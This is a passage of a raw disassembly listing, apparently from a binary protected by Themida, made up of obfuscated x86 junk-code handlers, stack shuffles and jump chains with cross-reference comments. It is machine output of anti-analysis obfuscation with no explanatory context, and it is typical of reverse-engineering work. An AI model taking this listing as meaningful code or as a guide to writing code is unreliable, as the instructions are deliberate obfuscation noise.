3 push ebx push ebp mov ebp, 3D9A2C42h jmp loc_59F479 ; --------------------------------------------------------------------------- loc_59CCAD: ; CODE XREF: Themida_:005A8E90j shl eax, 8 xor eax, 0FE678B8Fh sub edx, eax mov eax, [esp] add esp, 4 pop ecx mov eax, [esp] add esp, 4 add edx, 2 jmp loc_59D69C ; --------------------------------------------------------------------------- loc_59CCD2: ; CODE XREF: Themida_:005ACE3Dj sub ebx, esi sub ebx, 1EE57EA7h pop esi sub esp, 4 mov [esp], ebp mov ebp, 7C2E57A9h add ebx, ebp jmp loc_5ACBDD ; --------------------------------------------------------------------------- loc_59CCF0: ; CODE XREF: Themida_:005ACA58j and edi, 1A320855h push ebp mov ebp, 5C16A4D6h jmp loc_5A93AD ; --------------------------------------------------------------------------- loc_59CD01: ; CODE XREF: Themida_:00599745j sub eax, ebx push dword ptr [esp] pop ebx push 262Bh mov [esp], ecx mov ecx, esp jmp loc_5A554A ; --------------------------------------------------------------------------- loc_59CD16: ; CODE XREF: Themida_:005A575Aj sub esp, 4 jmp loc_5AC715 ; --------------------------------------------------------------------------- loc_59CD1E: ; CODE XREF: Themida_:005A13DCj sub edx, 0B9B10C40h not edx jmp loc_59FFC6 ; --------------------------------------------------------------------------- loc_59CD2B: ; CODE XREF: Themida_:005A1122j mov edi, [esp] jmp loc_59E532 ; --------------------------------------------------------------------------- loc_59CD33: ; CODE XREF: Themida_:005A154Bj mov ecx, 15202D64h xor ecx, 48F67EE8h xor edx, ecx pop ecx and edx, 79F567D6h push ebx jmp loc_5A99A2 ; --------------------------------------------------------------------------- loc_59CD4D: ; CODE XREF: Themida_:loc_599563j push ebp mov ebp, 830E41C8h jmp loc_59FF17 ; --------------------------------------------------------------------------- loc_59CD58: ; CODE XREF: Themida_:005A04F9j mov eax, edx pop edx jmp loc_59BDA1 ; --------------------------------------------------------------------------- loc_59CD60: ; CODE XREF: Themida_:005A7377j add edx, ebp jmp loc_598E26 ; --------------------------------------------------------------------------- loc_59CD67: ; CODE XREF: Themida_:005A9527j push edi mov edi, 12D95568h sub edi, 1EA6469Fh sub esi, edi jmp loc_5AC378 ; --------------------------------------------------------------------------- loc_59CD7A: ; CODE XREF: Themida_:0059A1D4j pop eax jmp loc_599189 ; --------------------------------------------------------------------------- loc_59CD80: ; CODE XREF: Themida_:005A250Ej push esp pop dword ptr [esp] jmp loc_5A2941 ; --------------------------------------------------------------------------- loc_59CD89: ; CODE XREF: Themida_:005A6C6Fj pop esi add ebp, 4 xchg ebp, [esp] jmp loc_59A64C ; --------------------------------------------------------------------------- loc_59CD95: ; CODE XREF: Themida_:0059A91Ej push edx mov edx, 1C637FACh push ecx push edi mov edi, 4D9B48BDh jmp loc_59B57D ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h push eax mov eax, 4 sub dword ptr [esp+4], 4B62387Fh jmp loc_5AC9BA ; --------------------------------------------------------------------------- loc_59CDBD: ; CODE XREF: Themida_:005AB69Ej push 12CAh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5AE1D6 ; --------------------------------------------------------------------------- loc_59CDD2: ; CODE XREF: Themida_:005AFDF2j mov cl, 0D7h jmp loc_59F2E9 ; --------------------------------------------------------------------------- loc_59CDD9: ; CODE XREF: Themida_:00599B7Fj mov ecx, 4EF552A7h add ecx, 6DD9123Ch sub ecx, ebp push edx mov edx, 6DD9123Ch push eax jmp loc_5A2951 ; --------------------------------------------------------------------------- loc_59CDF2: ; CODE XREF: Themida_:005AD42Bj shr ebp, 4 dec ebp add ebp, 4BAB29E6h inc ebp or ebp, 14D71251h xor ebp, 5FF7FFF9h add eax, ebp pop ebp sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 8000h jmp loc_5A6B1C ; --------------------------------------------------------------------------- loc_59CE34: ; CODE XREF: Themida_:005AD479j pop eax mov ecx, 9A643514h add ecx, 123A4E65h sub ecx, edi sub ecx, 123A4E65h pop edi jmp loc_5AE81F ; --------------------------------------------------------------------------- loc_59CE4E: ; CODE XREF: Themida_:005A75F4j ; Themida_:loc_5AD430j add esp, 4 push 398Ah mov [esp], ebp push 7C81h mov [esp], esi push 46F15328h pop esi push 6DB7h mov [esp], ebp push eax mov eax, 363F19F6h xor eax, 26F02D56h add eax, 0A83F7838h jmp loc_59EA75 ; --------------------------------------------------------------------------- loc_59CE87: ; CODE XREF: Themida_:00599528j mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push esi mov esi, 760B0A87h neg esi not esi shl esi, 5 jmp loc_5AB619 ; --------------------------------------------------------------------------- loc_59CEA6: ; CODE XREF: Themida_:0059AEDEj pop ebp pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 76D3h mov [esp], ecx push edx jmp loc_5A9B86 ; --------------------------------------------------------------------------- loc_59CEBD: ; CODE XREF: Themida_:005A39D9j push edi push ecx mov ecx, 0 mov edi, ecx pop ecx jmp loc_5A353F ; --------------------------------------------------------------------------- loc_59CECC: ; CODE XREF: Themida_:005A9418j sub edx, esi jmp loc_59DF49 ; --------------------------------------------------------------------------- loc_59CED3: ; CODE XREF: Themida_:0059F403j mov [esp], ebp mov ebp, 5E8813B5h jmp loc_5A8B70 ; --------------------------------------------------------------------------- loc_59CEE0: ; CODE XREF: Themida_:005ADAEEj sub al, dl pop edx sub al, 0DCh push edx jmp loc_59A044 ; --------------------------------------------------------------------------- loc_59CEEB: ; CODE XREF: Themida_:0059F7B9j add edi, 612506A6h add edi, 44148AA0h add ebx, edi mov edi, [esp] add esp, 4 mov edi, [esp] jmp loc_59E87C ; --------------------------------------------------------------------------- loc_59CF07: ; CODE XREF: Themida_:0059E331j push 2B7Eh mov [esp], eax jmp loc_5AEB91 ; --------------------------------------------------------------------------- loc_59CF14: ; CODE XREF: Themida_:005AC056j mov [esp], ebx mov ebx, 18234DD0h sub [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push esi push esp pop esi push ecx push ebx jmp loc_59EB7C ; --------------------------------------------------------------------------- loc_59CF34: ; DATA XREF: Themida_:0059884Co mov cx, [esp] jmp loc_5AB898 ; --------------------------------------------------------------------------- loc_59CF3D: ; CODE XREF: Themida_:loc_5A7F22j shl edx, 6 jmp loc_59C6B8 ; --------------------------------------------------------------------------- loc_59CF45: ; CODE XREF: Themida_:loc_5A77F2j xor esi, 2DDB5F7Eh xor esi, 302E7A90h jmp loc_599059 ; --------------------------------------------------------------------------- loc_59CF56: ; CODE XREF: Themida_:005A0153j add edx, 7ECB0B4Fh pop edi jmp loc_5AEBD0 ; --------------------------------------------------------------------------- loc_59CF62: ; CODE XREF: Themida_:005A3AA2j ; Themida_:005A8F1Cj push esi mov esi, 4F8C49A0h mov edi, esi pop esi xor edi, 61D85B50h jmp loc_5A04EC ; --------------------------------------------------------------------------- loc_59CF76: ; CODE XREF: Themida_:005AF887j push ebx mov ebx, 458CDEFFh jmp loc_5A469A ; --------------------------------------------------------------------------- loc_59CF81: ; CODE XREF: Themida_:005A5C23j ; Themida_:005AD9A6j mov ebp, 56067221h jmp loc_5A37BB ; --------------------------------------------------------------------------- loc_59CF8B: ; CODE XREF: Themida_:00598AACj xor edi, 3ED48CA4h push edi pop esi jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_59CF98: ; CODE XREF: Themida_:005A19EFj push dword ptr [edi+eax*4] push edi jmp loc_59A915 ; --------------------------------------------------------------------------- loc_59CFA1: ; CODE XREF: Themida_:005A5ECBj sub esp, 4 mov [esp], eax mov al, 33h mov bh, al pop eax push eax push edx mov dh, bh push ecx push eax jmp loc_5A1E80 ; --------------------------------------------------------------------------- loc_59CFB7: ; CODE XREF: Themida_:0059CB18j ; Themida_:loc_5AE7C0j inc bl jge loc_5A9054 or bl, 3Bh jmp loc_5AFAB0 ; --------------------------------------------------------------------------- loc_59CFC7: ; CODE XREF: Themida_:005ABE75j push 1E47h mov [esp], edi mov edi, 794E56C0h and edi, 11623931h push ecx mov ecx, 46FD3E0Ch jmp loc_5A13BA ; --------------------------------------------------------------------------- loc_59CFE5: ; CODE XREF: Themida_:005AD3F3j add ebp, 4 xchg ebp, [esp] pop esp push eax jmp loc_5A73FA ; --------------------------------------------------------------------------- loc_59CFF2: ; CODE XREF: Themida_:005AEC37j push ebp mov ebp, 69DB259Dh mov ecx, 33F10918h xor ecx, ebp jmp loc_5ACE6D ; --------------------------------------------------------------------------- loc_59D004: ; CODE XREF: Themida_:005AD27Bj add ebp, 0FE772D3Eh add edi, ebp jmp loc_59BA2E ; --------------------------------------------------------------------------- loc_59D011: ; CODE XREF: Themida_:005A0835j mov dx, [esp] add esp, 2 not dh jmp loc_5A7593 ; --------------------------------------------------------------------------- loc_59D022: ; CODE XREF: Themida_:005A0295j sub ecx, 2D0362C7h xor ecx, 0FF521F9Eh mov edx, ecx pop ecx jmp loc_5A6E67 ; --------------------------------------------------------------------------- loc_59D036: ; CODE XREF: Themida_:0059CA7Cj xor esi, ebx xor ebx, esi not esi xchg esi, ebx shr ebx, 2 shl ebx, 1 inc ebx not ebx sub ebx, 22A35908h add eax, ebx pop ebx jmp loc_5A7FEF ; --------------------------------------------------------------------------- loc_59D054: ; CODE XREF: Themida_:0059C732j mov ecx, [esp] jmp loc_5A698E ; --------------------------------------------------------------------------- loc_59D05C: ; CODE XREF: Themida_:0059DF35j add esi, edx pop edx jmp loc_59E49D ; --------------------------------------------------------------------------- loc_59D064: ; CODE XREF: Themida_:005A3632j mov edi, 3CA279A7h mov ecx, 30FB73F9h xor ecx, edi pop edi dec ecx xor ecx, 5CB42CC8h sub eax, ecx pop ecx jmp loc_5AE098 ; --------------------------------------------------------------------------- loc_59D080: ; CODE XREF: Themida_:loc_5AB636j xor edi, 0A0170E02h sub esp, 4 mov [esp], edi jmp loc_59A9DF ; --------------------------------------------------------------------------- loc_59D094: ; CODE XREF: Themida_:005A4305j pop eax jmp loc_5AA56D ; --------------------------------------------------------------------------- loc_59D09A: ; CODE XREF: Themida_:005AE97Bj mov [esp], eax push ebx jmp loc_5AA906 ; --------------------------------------------------------------------------- loc_59D0A3: ; CODE XREF: Themida_:005A1AE4j or ebx, 700858FBh push esi mov esi, 778C624Dh shl esi, 2 shl esi, 2 and esi, 2CF43AEBh push eax mov eax, 17B49C8Ch xor esi, eax jmp loc_5A3647 ; --------------------------------------------------------------------------- loc_59D0C8: ; CODE XREF: Themida_:0059C57Fj pop edi jmp loc_5A555F ; --------------------------------------------------------------------------- loc_59D0CE: ; CODE XREF: Themida_:0059F2A6j mov esi, esp add esi, 4 sub esi, 4 push 6089h mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_59C768 ; --------------------------------------------------------------------------- loc_59D0EE: ; CODE XREF: Themida_:005A3BD2j add esp, 4 add eax, 4AE529F2h jmp loc_5ADE9B ; --------------------------------------------------------------------------- loc_59D0FE: ; CODE XREF: Themida_:005A7507j or ebp, 6D3B3F23h jmp loc_5A6F1F ; --------------------------------------------------------------------------- loc_59D109: ; CODE XREF: Themida_:0059BDB6j ; Themida_:005A2AEDj push ecx mov ch, 61h xor ch, 0CBh jmp loc_59EB26 ; --------------------------------------------------------------------------- loc_59D114: ; CODE XREF: Themida_:0059B71Cj pop ebp push 48BBh mov [esp], eax mov eax, 6A1F9Bh and eax, 344E05B1h jo loc_5A6D0B xor eax, 37F426AFh js loc_5A75B8 not eax shr eax, 5 jz loc_5A790B add eax, 0F9BDF11Eh push ebx mov ebx, 5715369Eh sub ebp, 309C4592h sub ebp, 327852ECh sub ebp, 6CC86F78h add ebp, ebx add ebp, 6CC86F78h add ebp, 327852ECh add ebp, 309C4592h pop ebx sub ebp, 35BE56B3h add ebp, eax add ebp, 35BE56B3h jmp loc_59F849 ; --------------------------------------------------------------------------- loc_59D188: ; CODE XREF: Themida_:005A4097j mov ebp, [esp] push ebp mov ebp, esp jmp loc_5A2668 ; --------------------------------------------------------------------------- loc_59D193: ; CODE XREF: Themida_:005A0991j ; Themida_:005A9B0Bj mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] push eax jmp loc_59C33E ; --------------------------------------------------------------------------- loc_59D1AC: ; CODE XREF: Themida_:loc_5A49A8j sub edx, 7DF36C06h jg loc_5AF3F4 not edx jmp loc_59D3CA ; --------------------------------------------------------------------------- loc_59D1BF: ; CODE XREF: Themida_:00598DCFj not ecx inc ecx jp loc_5A580C push eax jmp loc_59E73C ; --------------------------------------------------------------------------- add ebx, edi pop edi mov cl, 0DCh mov ah, 5Bh loc_59D1D5: ; CODE XREF: Themida_:0059BC2Bj ; Themida_:005AA72Dj add eax, esi pop esi jmp loc_5A02E2 ; --------------------------------------------------------------------------- loc_59D1DD: ; CODE XREF: Themida_:005A0989j add ebx, eax pop eax add eax, ebx pop ebx shl eax, 5 jnz loc_59A2EE add eax, 0BA033389h mov ecx, eax mov eax, [esp] mov al, 0D3h pop ebp loc_59D1FA: ; CODE XREF: Themida_:005A9786j add eax, 0FF78A7CCh push ebp mov ebp, 51D4069Dh sub ebx, ebp pop ebp add ebx, eax jmp loc_5A7847 ; --------------------------------------------------------------------------- loc_59D20F: ; CODE XREF: Themida_:005A0867j shr ecx, 2 not ecx xor ecx, 0AF851084h sub edi, ecx mov ecx, [esp] jmp loc_5A6BA1 ; --------------------------------------------------------------------------- loc_59D224: ; CODE XREF: Themida_:0059E9F7j pop ecx add esp, 4 push 7569h mov [esp], eax sub esp, 4 jmp loc_5ABE30 ; --------------------------------------------------------------------------- loc_59D23B: ; CODE XREF: Themida_:005A3178j push small 6ABAh mov [esp], dx sub esp, 4 mov [esp], eax push ebx mov bh, 0F6h jmp loc_599330 ; --------------------------------------------------------------------------- loc_59D251: ; CODE XREF: Themida_:0059F0E9j ; Themida_:005A3C20j push dword ptr [esp] pop esi jmp loc_5A76CB ; --------------------------------------------------------------------------- loc_59D25A: ; CODE XREF: Themida_:0059E132j xchg al, dl sub esp, 4 mov [esp], ecx jmp loc_5A5149 ; --------------------------------------------------------------------------- loc_59D26A: ; CODE XREF: Themida_:005A6E0Bj push esi jmp loc_599D4B ; --------------------------------------------------------------------------- loc_59D270: ; CODE XREF: Themida_:005A9C71j push eax mov eax, 0B6087521h xor edx, eax pop eax push eax mov eax, 7F2514CFh dec eax jmp loc_5A9CD5 ; --------------------------------------------------------------------------- loc_59D285: ; CODE XREF: Themida_:005A7290j pop esp sub edi, ebp pop ebp jmp locret_5AEDC9 ; --------------------------------------------------------------------------- loc_59D28E: ; CODE XREF: Themida_:005AF394j ; Themida_:005AFA2Cj push edx mov edx, 72C47F10h not edx add edx, 0C714D2F8h sub ecx, edx pop edx jmp loc_59DF14 ; --------------------------------------------------------------------------- loc_59D2A4: ; CODE XREF: Themida_:005A96AFj add edx, eax jmp loc_5AD7A0 ; --------------------------------------------------------------------------- loc_59D2AB: ; CODE XREF: Themida_:005A815Fj add ebx, 1A7716F5h jle loc_5A33CF inc ebx jnz loc_5ABDFA sub ebx, 6BAAC20h mov edx, ebx pop ebx jmp loc_5A6208 ; --------------------------------------------------------------------------- loc_59D2CC: ; CODE XREF: Themida_:loc_5AD04Bj push ecx sub esp, 4 jmp loc_5AEB91 ; --------------------------------------------------------------------------- loc_59D2D8: ; CODE XREF: Themida_:0059F6D3j pop edi sub eax, ebx push esi mov esi, 16B422E7h jmp loc_5A7B49 ; --------------------------------------------------------------------------- loc_59D2E6: ; CODE XREF: Themida_:005ACA26j mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xchg edi, [esp] pop esp mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D304: ; CODE XREF: Themida_:0059BF59j sub eax, 7BE52628h sub eax, edi jmp loc_5A7B9A ; --------------------------------------------------------------------------- loc_59D310: ; CODE XREF: Themida_:005A67C5j mov eax, esp jmp loc_59C3A2 ; --------------------------------------------------------------------------- loc_59D317: ; CODE XREF: Themida_:005ADC29j pop dword ptr [esp] jmp loc_5AEEA3 ; --------------------------------------------------------------------------- loc_59D31F: ; CODE XREF: Themida_:005A9E4Dj push 0DEFh jmp loc_59B2B9 ; --------------------------------------------------------------------------- loc_59D329: ; CODE XREF: Themida_:0059E020j pop ecx sub edx, eax jmp loc_59F3D0 ; --------------------------------------------------------------------------- loc_59D331: ; CODE XREF: Themida_:005A659Dj pop esp xor al, dh pop dx jmp loc_5A1054 ; --------------------------------------------------------------------------- loc_59D33B: ; CODE XREF: Themida_:0059B188j ; Themida_:005AC705j mov [esp], eax mov eax, esp add eax, 4 push esi push edx mov edx, 4 jmp loc_59BFAB ; --------------------------------------------------------------------------- loc_59D351: ; CODE XREF: Themida_:005A13B5j ; Themida_:005A8466j sub ebx, 40444285h sub ebp, 29677040h sub ebp, ebx add ebp, 29677040h pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A5F0D ; --------------------------------------------------------------------------- loc_59D374: ; CODE XREF: Themida_:005ABBF0j add ecx, edi add ecx, 0B890D40h add ecx, 338C0DE8h mov edi, [esp] add esp, 4 xor ecx, 74D10E2Ah xor ecx, 4B8A2133h xor ecx, 604818EBh add ecx, 0BC953E4Eh push 57A0h jmp loc_59BB0B ; --------------------------------------------------------------------------- loc_59D3AA: ; CODE XREF: Themida_:005A239Aj ; Themida_:005AC680j sub edi, 0FFFFFFFFh sub edi, 592F6219h add edx, edi pop edi push ebx mov ebx, 2 add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx jmp loc_599042 ; --------------------------------------------------------------------------- loc_59D3CA: ; CODE XREF: Themida_:0059D1BAj lodsb jmp loc_59F6FA ; --------------------------------------------------------------------------- loc_59D3D0: ; CODE XREF: Themida_:005A2166j add [esp+4], esi jmp loc_59BE9E ; --------------------------------------------------------------------------- loc_59D3D9: ; CODE XREF: Themida_:005ACE2Fj pop ebx jmp loc_5A3203 ; --------------------------------------------------------------------------- loc_59D3DF: ; CODE XREF: Themida_:0059B302j mov ecx, [esp] jmp loc_5A5916 ; --------------------------------------------------------------------------- loc_59D3E7: ; DATA XREF: Themida_:005987C4o push dword ptr [esp] mov ecx, [esp] jmp loc_59E75F ; --------------------------------------------------------------------------- loc_59D3F2: ; CODE XREF: Themida_:005A76A2j mov edi, ecx jmp loc_5A654C ; --------------------------------------------------------------------------- loc_59D3F9: ; CODE XREF: Themida_:005A599Aj and ecx, ebx pop ebx sub ecx, 208009FDh mov edx, ecx push dword ptr [esp] pop ecx jmp loc_5AB5BC ; --------------------------------------------------------------------------- loc_59D40D: ; CODE XREF: Themida_:005A8EFCj add eax, 15F77F79h sub eax, 4AE10761h add esi, eax pop eax add esi, ecx sub esi, 590E3FB6h pop ecx push 7ED8h mov [esp], edx push ebx mov ebx, 4 push ebx jmp loc_5AC5C1 ; --------------------------------------------------------------------------- loc_59D437: ; CODE XREF: Themida_:0059F831j sub eax, 4ED0276Eh or eax, 3DC341BDh and eax, 58DD46C5h neg eax add eax, 2E9B5119h xor eax, 0F4A869DBh sub ebx, eax jmp loc_5AC65D ; --------------------------------------------------------------------------- loc_59D459: ; CODE XREF: Themida_:0059C1E9j ; Themida_:0059E479j mov esi, 17125051h jmp loc_5A7A9A ; --------------------------------------------------------------------------- loc_59D463: ; CODE XREF: Themida_:005AEC89j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D468: ; CODE XREF: Themida_:005A16FAj add edi, ecx pop ecx jmp loc_59A0D4 ; --------------------------------------------------------------------------- loc_59D470: ; CODE XREF: Themida_:005A27E1j sub bx, 53C1h jmp loc_5AFB75 ; --------------------------------------------------------------------------- loc_59D47A: ; CODE XREF: Themida_:005A6DDBj sub edx, 63FC36DCh jmp loc_59C930 ; --------------------------------------------------------------------------- loc_59D485: ; CODE XREF: Themida_:005AD965j mov [esp], ebp jmp loc_5A0449 ; --------------------------------------------------------------------------- loc_59D48D: ; CODE XREF: Themida_:005A6E70j mov esp, [esp] mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D498: ; CODE XREF: Themida_:005AF4F9j mov ebp, 6B637F42h xor ebp, 6B637F46h add edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xchg eax, ebx sub esp, 4 mov [esp], ebx push 130Eh mov [esp], eax push ebp mov ebp, 71923770h add ebp, 8E6DC891h mov eax, ebp jmp loc_59C684 ; --------------------------------------------------------------------------- loc_59D4D4: ; CODE XREF: Themida_:005AD958j pop eax push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5AC79C ; --------------------------------------------------------------------------- loc_59D4E3: ; CODE XREF: Themida_:005ACEBFj sub eax, 4 xchg eax, [esp] jmp loc_59AA65 ; --------------------------------------------------------------------------- loc_59D4F0: ; CODE XREF: Themida_:0059BA7Aj add esp, 4 pop edi push edx mov edx, 0FA225C5h and eax, edx pop edx shr eax, 7 shl eax, 7 jmp loc_5A5F2F ; --------------------------------------------------------------------------- loc_59D508: ; CODE XREF: Themida_:005A6961j mov ebx, ebp pop ebp xchg edx, ebx jmp loc_5A0E54 ; --------------------------------------------------------------------------- loc_59D512: ; CODE XREF: Themida_:00599D6Cj ; Themida_:005A2392j shl eax, 1 jnp loc_5AD04B jmp loc_5AF538 ; --------------------------------------------------------------------------- loc_59D51F: ; CODE XREF: Themida_:0059A37Fj add ecx, 1A1D75BEh jmp loc_5AECB3 ; --------------------------------------------------------------------------- loc_59D52A: ; CODE XREF: Themida_:005A2CB6j pop esp push edx mov dh, 0B4h inc dh xor dh, 6Bh not dh inc dh shr dh, 3 add dh, 55h jmp loc_5A0A1C ; --------------------------------------------------------------------------- loc_59D542: ; CODE XREF: Themida_:0059E43Bj push dword ptr [esp] jmp loc_59C817 ; --------------------------------------------------------------------------- loc_59D54A: ; CODE XREF: Themida_:0059D71Ej sub ch, 6Dh jnp loc_59EA40 shl ch, 6 jmp loc_59B384 ; --------------------------------------------------------------------------- push dword ptr [esp] pop esi mov edi, ecx pop ecx loc_59D562: ; CODE XREF: Themida_:005A4C70j push esi mov esi, 592E0ACDh or edi, esi pop esi jmp loc_5A914F ; --------------------------------------------------------------------------- loc_59D570: ; CODE XREF: Themida_:005A6928j add ecx, 0FDDA72A4h jmp loc_5A310A ; --------------------------------------------------------------------------- loc_59D57B: ; CODE XREF: Themida_:005ADF15j shl al, 7 jmp loc_5A3A34 ; --------------------------------------------------------------------------- loc_59D583: ; CODE XREF: Themida_:005A2AFEj add ebp, 1FBD63B8h jmp loc_5A40A7 ; --------------------------------------------------------------------------- loc_59D58E: ; DATA XREF: Themida_:005986D0o push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D59C: ; CODE XREF: Themida_:005A9F3Aj xchg esi, [esp] pop esp mov [esp], eax push 3445h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push 458402A7h push dword ptr [esp] pop edx jmp loc_5A1370 ; --------------------------------------------------------------------------- loc_59D5CE: ; CODE XREF: Themida_:005A33CAj add ebx, ebp jmp loc_5AE6E2 ; --------------------------------------------------------------------------- loc_59D5D5: ; CODE XREF: Themida_:005AF2ADj jmp loc_59E33D ; --------------------------------------------------------------------------- loc_59D5DA: ; CODE XREF: Themida_:005A5274j push esi jmp loc_59F8D0 ; --------------------------------------------------------------------------- loc_59D5E0: ; CODE XREF: Themida_:005A8B71j sub ebp, 69F833F5h add ebp, 0FFFFFFFFh sub ebp, 75AB1CF8h jmp loc_5A894F ; --------------------------------------------------------------------------- loc_59D5F4: ; CODE XREF: Themida_:005A926Ej push ebx mov ebx, 27344943h inc ebx add ebx, 0EF798E7Ah add ebp, ebx pop ebx add ebx, 79074905h sub ebx, 698D181Eh sub ebx, ebp jmp loc_5AADD7 ; --------------------------------------------------------------------------- loc_59D617: ; CODE XREF: Themida_:0059C763j pop ebx push ecx push ebx mov bl, dh jmp loc_5A423F ; --------------------------------------------------------------------------- loc_59D621: ; CODE XREF: Themida_:0059FE66j jmp loc_59F235 ; --------------------------------------------------------------------------- loc_59D626: ; CODE XREF: Themida_:005A5673j push esi jmp loc_59C93D ; --------------------------------------------------------------------------- loc_59D62C: ; CODE XREF: Themida_:005AC69Fj add edx, 52B471Fh add edx, ebp sub edx, 52B471Fh pop ebp add edx, 4 xchg edx, [esp] pop esp xor [esp], eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D64E: ; CODE XREF: Themida_:005A2C1Cj push 9EBh jmp loc_5A69F3 ; --------------------------------------------------------------------------- loc_59D658: ; CODE XREF: Themida_:0059E96Cj mov eax, [esp] add esp, 4 push edx push esp pop edx add edx, 4 push edi push ebx mov ebx, 65F00D2Ah jmp loc_5ADFAF ; --------------------------------------------------------------------------- loc_59D673: ; CODE XREF: Themida_:005A6173j pop ecx pop dx jmp loc_5A430A ; --------------------------------------------------------------------------- loc_59D67B: ; CODE XREF: Themida_:005AA709j or ebp, 733F5F35h jmp loc_5992FE ; --------------------------------------------------------------------------- loc_59D686: ; CODE XREF: Themida_:005AD078j mov esi, esp jmp loc_59C1BB ; --------------------------------------------------------------------------- loc_59D68D: ; CODE XREF: Themida_:005A2932j mov ebx, esp jmp loc_5A2CA7 ; --------------------------------------------------------------------------- loc_59D694: ; CODE XREF: Themida_:00598E94j push dword ptr [esp] jmp loc_5A7D59 ; --------------------------------------------------------------------------- loc_59D69C: ; CODE XREF: Themida_:0059CCCDj push edx push dword ptr [esp+4] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5A0E3F ; --------------------------------------------------------------------------- loc_59D6BE: ; CODE XREF: Themida_:005A95D2j add edi, 8040025h jmp loc_5AA9F5 ; --------------------------------------------------------------------------- loc_59D6C9: ; CODE XREF: Themida_:005AEFEFj sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov bh, 32h sub al, bh jmp loc_5A61F9 ; --------------------------------------------------------------------------- loc_59D6ED: ; CODE XREF: Themida_:005ABD99j mov [esp], esi mov esi, 79750F69h dec esi or esi, 12861247h add esi, 0FFFFFFFFh xor esi, 5D247A29h jge loc_59A5B6 jmp loc_59DF02 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ch, al mov eax, edi loc_59D71A: ; CODE XREF: Themida_:0059C39Dj pop ebx or ch, 0F5h ja loc_59D54A sub ch, 6Dh jnp loc_5A662D mov edx, ebp loc_59D72F: ; CODE XREF: Themida_:005AD7E3j add ebp, 2F2D0EA3h shl ebp, 5 sub ebp, 418F0EEh add edx, ebp pop ebp jmp loc_59AE08 ; --------------------------------------------------------------------------- loc_59D746: ; CODE XREF: Themida_:0059A72Fj push 710Ah mov [esp], edi push 3A3h mov [esp], esp jmp loc_5A8DE5 ; --------------------------------------------------------------------------- loc_59D75B: ; CODE XREF: Themida_:005A2433j neg ebx xchg eax, ebx jmp loc_59F1DF ; --------------------------------------------------------------------------- loc_59D763: ; CODE XREF: Themida_:0059E643j ; Themida_:005AE5CEj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59BD98 ; --------------------------------------------------------------------------- loc_59D781: ; CODE XREF: Themida_:00599910j xor ebx, 0A410BB32h add ebp, ebx jmp loc_59C6CF ; --------------------------------------------------------------------------- loc_59D78E: ; CODE XREF: Themida_:005A704Bj xor ebx, [esp] pop esp mov dx, [esp] jmp loc_5A0773 ; --------------------------------------------------------------------------- loc_59D79B: ; CODE XREF: Themida_:0059A9B9j neg ebp jle loc_5AF9D8 jmp loc_5ADCE7 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A828E ; --------------------------------------------------------------------------- loc_59D7B1: ; CODE XREF: Themida_:005A265Dj sub ebx, edx add ebx, 37F443CBh pop edx pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5A1B6B ; --------------------------------------------------------------------------- loc_59D7CC: ; CODE XREF: Themida_:005A3981j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push eax mov eax, 4 jmp loc_5ADE4C ; --------------------------------------------------------------------------- loc_59D7E4: ; CODE XREF: Themida_:005A48B0j xor edx, 96E05EEh mov ebp, edx mov edx, [esp] add esp, 4 mov ecx, ebp push dword ptr [esp] pop ebp add esp, 4 and eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_59B4AC ; --------------------------------------------------------------------------- loc_59D808: ; CODE XREF: Themida_:005A138Ej mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A167C ; --------------------------------------------------------------------------- loc_59D81A: ; CODE XREF: Themida_:005A5BEAj mov edi, 4D580C2Fh mov ebx, edi pop edi not ebx jmp loc_598D1E ; --------------------------------------------------------------------------- loc_59D829: ; CODE XREF: Themida_:005A0F6Cj ; Themida_:005AA73Bj mov eax, 7FF36511h add ebp, eax pop eax add ebp, ecx jmp loc_5ABD6D ; --------------------------------------------------------------------------- loc_59D838: ; CODE XREF: Themida_:0059A004j mov edx, esp jmp loc_59BA66 ; --------------------------------------------------------------------------- loc_59D83F: ; CODE XREF: Themida_:0059A887j add edx, 106AD9F0h xor ebx, edx pop edx shl ebx, 7 sub ebx, 58AF7D87h add esi, 7446563Eh add esi, 2FA860F2h add esi, ebx sub esi, 2FA860F2h jmp loc_5AC8DD ; --------------------------------------------------------------------------- loc_59D86A: ; CODE XREF: Themida_:005AF7E3j pop ebp sub esp, 4 mov [esp], eax mov eax, esp push esi jmp loc_5A384F ; --------------------------------------------------------------------------- loc_59D879: ; CODE XREF: 